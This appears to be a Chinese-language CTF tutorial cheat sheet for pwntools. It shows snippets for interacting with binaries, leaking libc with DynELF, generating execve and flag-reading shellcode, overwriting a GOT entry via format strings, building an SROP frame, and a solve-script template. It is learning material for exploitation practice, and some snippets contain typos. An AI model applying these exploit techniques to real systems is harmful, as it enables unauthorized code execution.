pwntools工具的使用
基本的输入输出和交互
绑定要处理的程序
1 2 3 4 5 6 7
|
p = remote("127.0.0.1", 8888)
p = process("./pwn")
|
设置上下文环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
context.os = "linux"
context.arch = "i386"
context.arch = "amd64"
context.log_level = "debug"
context(os="linux", arch="amd64", lod_level="debug")
context.clear()
context.clear(arch="amd64")
|
获取程序输出
1 2 3 4 5 6
| p.recv() p.recvline() p.recvall()
buf = p.recvuntil("\n", drop=True) libc_leak = u64(recv(num)[:6].ljust(8, b'\x00'))
|
payload的构造
1 2 3 4
| pad = cyclic(0x10)
offset = cyclic_find(b"daaa")
|
实现输入
1 2 3 4 5
| payload = b'hello!' p.sendline(payload) p.send(payload) p.sendafter("test", payload) p.sendlineafter("test", payload)
|
实现交互
获取程序或者libc中的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
pro = ELF("./program") libc = ELF("./libc")
read_addr = pro.symbols["read"] read_plt = pro.plt["read"] read_got = pro.got["read"]
str_addr = next(pro.search(b"str"))
read_offset = libc.symbols["read"] bin_sh = next(libc.search(b"/bin/sh\x00"))
|
shellcode的生成
1 2 3 4 5 6 7
| from pwn import *
context(os="linux", arch="i386", log_level="debug") code = shellcraft.sh() code = asm(code)
|
1 2 3 4 5 6 7
| from pwn import *
context(os="linux", arch="amd64", log_level="debug") code = shellcraft.sh() code = asm(code)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
context(os="linux", arch="amd64") mmap = 0x12345678
code = shellcraft.open("./flag") code += shellcraft.read(3, mmap, 0x50) code += shellcraft.write(1, mmap, 0x50) code = asm(code)
code = asm(shellcraft.cat("flag"))
|
DynELF泄露libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
p = process("./pwn") pro = ELF("./pwn")
def leak(addr): payload = padding + addr + start p.send(payload) data = p.recv() return data
d = DynELF(leak, elf=pro) system = d.lookup("system", "libc") print("system ====> ", system, hex(system))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
def exec_fmt(pad): p = process("./pwn") p.sendline(pad) info = p.recv() return info
fmt = FmtStr(exec_fmt) offset = fmt.offset
p = process("./pwn") pro = ELF("./pwn") printf_got = pro.got["printf"] system_plt = pro.plt["system"]
pad = fmtstr_payload(offset, {printf_got:system_plt}) p.send(pad)
|
SROP工具SigreturnFrame
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
""" 0x001 mov rax, 0Fh 0x002 syscall 0x003 ret """ sigreturn = 0x001 syscall = 0x002
context.arch = "amd64" frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = sh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall
pad = padding + bytes(frame) p.send(pad) p.interactive()
|
在做题的时候,我们的目的是快速的解出题目,使用下面简化后的函数名称和预制的代码,这样可以帮助每次做题时快速完成解题脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * import sys import os import os.path context(os='linux', arch='amd64', log_level='debug') context.terminal = ['tmux','splitw','-h'] print "Welcome to Min Li's simplified pwntools template!!!" print "Usage : \n" print " 1. python mode.py HOST PORT\n " print " 2. python mode.py PATH\n" print " 3. python mode.py PATH libc_path ld_path"
if len(sys.argv) == 3: DEBUG = 0 HOST = sys.argv[1] PORT = int(sys.argv[2])
p = remote(HOST, PORT) else: DEBUG = 1 if len(sys.argv) == 2: PATH = sys.argv[1] p = process(PATH) if len(sys.argv) == 4: PATH = sys.argv[1] libc_path = sys.argv[2] ld_path = sys.argv[3] p = process("PATH", env={"LD_PRELOAD":libc_path})
def debug(): gdb.attach(proc.pidof(p)[0],gdbscript="b __libc_start_main") pause() r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) shell = lambda : p.interactive()
|